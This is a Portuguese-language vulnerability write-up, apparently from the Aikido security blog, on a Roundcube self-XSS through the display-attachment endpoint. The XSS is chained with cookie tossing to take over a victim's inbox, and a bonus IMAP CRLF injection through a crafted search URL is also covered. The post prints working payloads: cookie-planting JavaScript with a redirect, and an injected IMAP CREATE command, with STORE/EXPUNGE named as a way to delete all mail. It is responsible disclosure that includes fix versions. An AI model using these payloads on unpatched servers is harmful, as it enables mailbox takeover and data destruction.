Aikido

Roundcube XSS encadeado com cookie tossing para acesso total à caixa de entrada

Escrito por
Jorian Woltjer

Roundcube é o cliente de webmail open-source mais amplamente implantado no mundo. Recentemente, encontramos uma vulnerabilidade perigosa na aplicação! É um XSS armazenado que, encadeado com uma técnica de cookie tossing, concede a um atacante acesso total à caixa de entrada da vítima e, a partir daí, a qualquer conta que utilize esse endereço de e-mail para autenticação ou recuperação de senha.

Descobrimos isso executando nossos agentes de pentest de IA contra uma instância local do Roundcube. Todas as descobertas foram reportadas de forma responsável à Nextcloud, os mantenedores do Roundcube, via HackerOne (XSS divulgado em #3594137) e corrigidas na versão 1.6.14. 

Neste artigo, detalharemos o que fizemos, como nossos agentes encontraram a vulnerabilidade e como uma simples injeção de HTML poderia comprometer completamente a caixa de entrada de um usuário.

O ponto de injeção

Todo ataque tem um ponto de partida. Vamos analisar um que um de nossos agentes selecionou para auditoria.

O Roundcube lida com conteúdo controlado pelo usuário de algumas maneiras diferentes. Os corpos dos e-mails são a superfície mais escrutinada. Eles são fortemente sanitizados porque são exibidos inline com o restante da aplicação.

Anexos HTML são renderizados via um endpoint separado em mail/get.php, com uma Content Security Policy definida como script-src 'none' para bloquear a execução de JavaScript.

Um terceiro endpoint, mais oculto, lida com anexos inline que ainda não foram enviados, temporariamente visíveis enquanto se compõe um e-mail. Este é o endpoint que analisaremos. A ação display-attachment lida com este tipo de requisições:

class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
    ...
    public function run($args = []) {
        self::init();

        $rcmail = rcmail::get_instance();
        $file = $rcmail->get_uploaded_file(self::$file_id);

        self::display_uploaded_file($file);

A função self::display_uploaded_file() é onde a mágica acontece. Como rcube_uploads.php mostra, esses tipos de anexos são retornados diretamente com seu tipo de conteúdo e corpo originais, sem sanitização, sandboxing e sem Content Security Policy aplicada.

header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);

if (isset($file['data']) && is_string($file['data'])) {
    echo $file['data'];
} elseif (!empty($file['path'])) {
    readfile($file['path']);
}

Como alcançamos este endpoint, você pode perguntar? Ao compor um novo e-mail dentro do Roundcube, você pode anexar um arquivo ao e-mail temporário, especificamente um arquivo HTML. Daremos a ele algum conteúdo malicioso:

<script>alert(origin)</script>

Após o upload, clicar no anexo abre um pop-up que o renderiza usando a ação `get`, protegido por uma CSP robusta. Este é o caminho seguro. A parte interessante é o que acontece quando você trocar _action=get por _action=display-attachment:

Captura de tela da janela de composição do Roundcube com um arquivo xss.html anexado. Um pop-up mostra o anexo renderizado via ação get, com uma área branca em branco onde o script seria executado, bloqueado pela Política de Segurança de Conteúdo.
Visualizar o anexo via a ação `get` o renderiza em um pop-up isolado (sandboxed) com uma CSP robusta, bloqueando a execução de scripts.

Pegue a URL original para esta exibição:

/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1

Trocando _action=get por _action=display-attachment e removendo alguns parâmetros desnecessários, você obtém:

/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachment

Esta URL renderiza o mesmo conteúdo, mas sem a CSP! Assim, o JavaScript dentro do nosso HTML é executado, alertando a origem atual e confirmando o XSS:

A captura de tela mostra um pop-up com o ataque, com o texto "mail.target.local:19002 says http://mail.target.local:19002"
O ataque funciona!

Este é um Self-XSS interessante, mas isso é realmente um problema? Se formos realistas, um usuário comum não vai fazer o upload do nosso payload XSS por conta própria e continuar a visualizá-lo dessa maneira especial…

Olhando para attachment_upload.php, você descobrirá que uma compose_data_ chave de sessão deve ser definida para o seu usuário atual, e somente esse usuário pode recuperar o anexo.

public static function init()
{
    self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
    self::$COMPOSE = null;
    self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;

    if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
        self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
    }

    if (!self::$COMPOSE) {
        exit('Invalid session var!');

Como este é um anexo temporário vinculado apenas à sua sessão atual, não há como preparar um payload e fazer com que uma vítima o acione fazendo login na conta do atacante, como vimos com Mailcow. O `cookie` inteiro do atacante roundcube_sessid precisaria ser copiado para a vítima. Outra tarefa que parece impossível.

Explorando Self-XSS com Cookie Tossing

O Self-XSS que encontramos parece inexplorável à primeira vista. O anexo está vinculado à sessão, então não há como preparar um payload para uma vítima sem também entregar a ela o `cookie` de sessão do atacante. Mas o problema ainda não acabou. É aí que entra o `cookie tossing`.

Nos navegadores, os `cookies` possuem algumas peculiaridades interessantes, uma delas é a Domain=atributo.

> Apenas o domínio atual pode ser definido como valor, ou um domínio de ordem superior, a menos que seja um sufixo público. Definir o domínio tornará o cookie disponível para ele, bem como para todos os seus subdomínios.

Cookies podem ser definidos não apenas para o domínio atual, mas também para um domínio pai. Um cookie definido por sub.example.com com Domínio=example.com fica disponível para todos os subdomínios em example.com, incluindo aqueles como other.example.com que não tiveram nada a ver com a sua definição. Este tipo de ataque é chamado de Cookie Tossing, onde um subdomínio escreve cookies que outro subdomínio irá ler.

Isso significa que tudo o que precisamos para explorar nossa vulnerabilidade é controle sobre um subdomínio no mesmo domínio que o domínio Roundcube alvo. A partir daí, uma vulnerabilidade XSS separada em algo como xss.target.local pode definir a document.cookie propriedade para gravar cookies com o Domínio=target.local atributo. Uma vez que esses cookies são definidos, o navegador da vítima os enviará para mail.target.local, onde o Roundcube carregará a sessão do atacante em vez da sessão da vítima.

Essa sessão tem o anexo HTML malicioso pronto e esperando. Ao direcionar a vítima para a URL do anexo, o payload XSS é acionado dentro da origem do Roundcube, no navegador da vítima, sem necessidade de interação adicional.

Em resumo, o que um atacante precisa fazer para explorá-lo é:

  1. Fazer login em sua própria conta, criar um novo e-mail e anexar um arquivo HTML malicioso
  2. Copiar o link para visualizar (renderizar) o anexo e os cookies
  3. A partir de um subdomínio vulnerável a XSS, definir os valores dos cookies usando document.cookie com o Domain=atributo apontando para o domínio alvo.
  4. Redirecionar a vítima para o link do anexo. O XSS é acionado na origem do Roundcube.

Veja como o payload XSS do subdomínio se parece na prática, definindo os cookies de sessão e redirecionando a vítima para a URL do anexo

document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

A partir do XSS do subdomínio, o restante da exploração do Roundcube não requer mais interação do usuário. Toda a segurança do Roundcube agora depende de cada subdomínio do mesmo site.

Captura de tela da instância local e do pop-up, que é do código de ataque

Acesso total

O popup de alerta na captura de tela acima confirma que o XSS está sendo executado na origem do Roundcube, mas por si só não demonstra um impacto real. Ainda há um problema. Neste ponto, carregamos a sessão do atacante no navegador da vítima, então qualquer ação realizada será na conta do atacante, e não na da vítima. Ótimo para entregar nosso payload, mas não tão bom para acessar coisas que normalmente não conseguiríamos.

Se você olhar no navegador, os cookies na verdade não são substituídos quando definimos um diferente Domain=. Ambos são enviados!

Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER

Quando ambos os cookies estão presentes, o servidor escolhe o do atacante, pois ele aparece por último no cabeçalho. No payload XSS, queremos que os cookies do atacante sejam escolhidos, enquanto em todos os outros endpoints, queremos os cookies da vítima. Felizmente, os cookies possuem outro atributo que resolve perfeitamente esse problema: Path=.

Ao definir um caminho único como Path=/index.php/xss, que ainda aponta para a página inicial, os cookies serão enviados apenas quando esse caminho corresponder ao alvo da requisição. Assim, para nossas requisições:

  1. \/index.php\/xss envia roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER -> o payload do atacante é retornado
  2. \/ envia roundcube_sessauth=VICTIM -> os e-mails da vítima são retornados

Basta alterarmos o exploit JavaScript para definir este novo atributo e navegar para \/index.php\/xss depois para garantir que os cookies do atacante sejam enviados nesta requisição para o nosso payload, mas depois disso nosso XSS está livre para acessar a conta da vítima.

document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

Nas DevTools, podemos ver como os cookies duplicados são configurados agora:

Captura de tela da aba Application do Chrome DevTools mostrando quatro cookies para mail.target.local. Dois estão com escopo para o caminho /index.php/xss em .target.local (os cookies do atacante), e dois estão com escopo para o caminho raiz em mail.target.local (os cookies da vítima).

Embora as condições necessárias para explorar isso (conta no Roundcube + XSS de Subdomínio) sejam um pouco complexas, o impacto potencial de uma exploração bem-sucedida é enorme.

O e-mail é a forma de autenticação mais amplamente confiável, pois muitos sites dependem de "links mágicos" para login ou recuperação de senha. Quando um invasor tem acesso aos seus e-mails, ele pode acionar esses tipos de redefinição de senha em todos os sites aos quais você tem o e-mail conectado. Em seguida, ele pode ler o e-mail que este serviço envia para confirmar e obter acesso a muitas outras contas.

Remediação

Atualize o Roundcube para a versão 1.6.14 ou posterior (1.6.x), ou 1.5.14 ou posterior (1.5.x LTS). Todas as vulnerabilidades relatadas são corrigidas nesta versão. Se você usa Aikido, instâncias vulneráveis do Roundcube são automaticamente sinalizadas em seu feed de monitoramento de superfície como uma descoberta de gravidade média.

Ainda não usa Aikido? Crie uma conta gratuita para começar, não é necessário cc.

Conclusão

Embora inicialmente parecesse uma vulnerabilidade XSS trivial, explorá-la exigiu um pouco mais de conhecimento sobre cookies e sessões. Subdomínios same-site frequentemente recebem um pouco mais de permissões do navegador do que sites completamente separados, outra razão para garantir que todos os seus ativos estejam seguros.

Esta é uma tarefa difícil, mas como mostrado aqui, o Aikido Attack pode realizar pentests autônomos em aplicações web para encontrar tais vulnerabilidades em toda a sua infraestrutura.

Os mantenedores do Roundcube corrigiram esta vulnerabilidade na versão 1.6.14 ao adicionar uma script-src 'none' Content Security Policy, assim como o restante dos anexos já possuíam. Isso impossibilita a execução de JavaScript ao retornar HTML arbitrário.

Bônus: Injeção de CRLF IMAP via CSRF

Durante o mesmo pentest, outro agente encontrou uma segunda vulnerabilidade que consideramos particularmente interessante. Após relatar isso, acabou sendo uma duplicata que a Martila Security Research Team também encontrou. Ainda assim, achamos interessante o suficiente para explicar brevemente os detalhes desta vulnerabilidade aqui.

O /?_task=mail&_action=search o endpoint passa o fornecido pelo cliente _filter parâmetro diretamente para o IMAP SEARCH comando em rcube_imap_generic.php:

if (!empty($criteria)) {
    $params .= ($params ? ' ' : '') . $criteria;
} else {
    $params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);

Embora a função pareça separar o comando de seus argumentos, a implementação de execute() simplesmente os concatena sem sanitização:

foreach ($arguments as $arg) {
    $query .= ' ' . self::r_implode($arg);
}

Ao injetar um Carriage Return & Line Feed (CRLF, %0D%0A) caracteres, um invasor pode escapar dos parâmetros SEARCH e injetar comandos IMAP adicionais dentro da sessão IMAP do usuário autenticado.

Com isso, não só é possível pesquisar e-mails, mas também adicionar pastas, mover e-mails ou excluir a caixa de entrada inteira, já que todos esses são comandos IMAP brutos.

Abaixo está um exemplo de filtro definido como ALL%0D%0AX007%20CREATE%20EvilFolder:

http://mail.target.tld/?_task=mail&_action=search&_interval=&_q=imap-inject-test&_headers=subject%2Cfrom&_layout=widescreen&_filter=ALL%0D%0AX007%20CREATE%20EvilFolder&_scope=base&_mbox=INBOX&_remote=1 

Ao visitá-lo, os seguintes dados são enviados ao IMAP, com o comando CREATE injetado que é executado após a busca:

X006 SEARCH ALL
X007 CREATE EvilFolder

O efeito disso pode então ser visto na interface do Roundcube:

A interface do usuário do Roundcube na aba Pastas, com "EvilFolder" na parte inferior

Como esta é uma requisição GET simples, visitar o link acima é tudo o que é necessário para executar os comandos. Com isso, um único clique em um link poderia excluir permanentemente todos os e-mails (X001 UID STORE 1:* FLAGS \Deleted seguido por X002 EXPUNGE), resultando em uma grande perda de dados.

Esta vulnerabilidade está agora corrigida removendo \r\n caracteres de consultas de pesquisa.

Compartilhar:

https://www.aikido.dev/blog/roundcube-xss-cookie-tossing

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.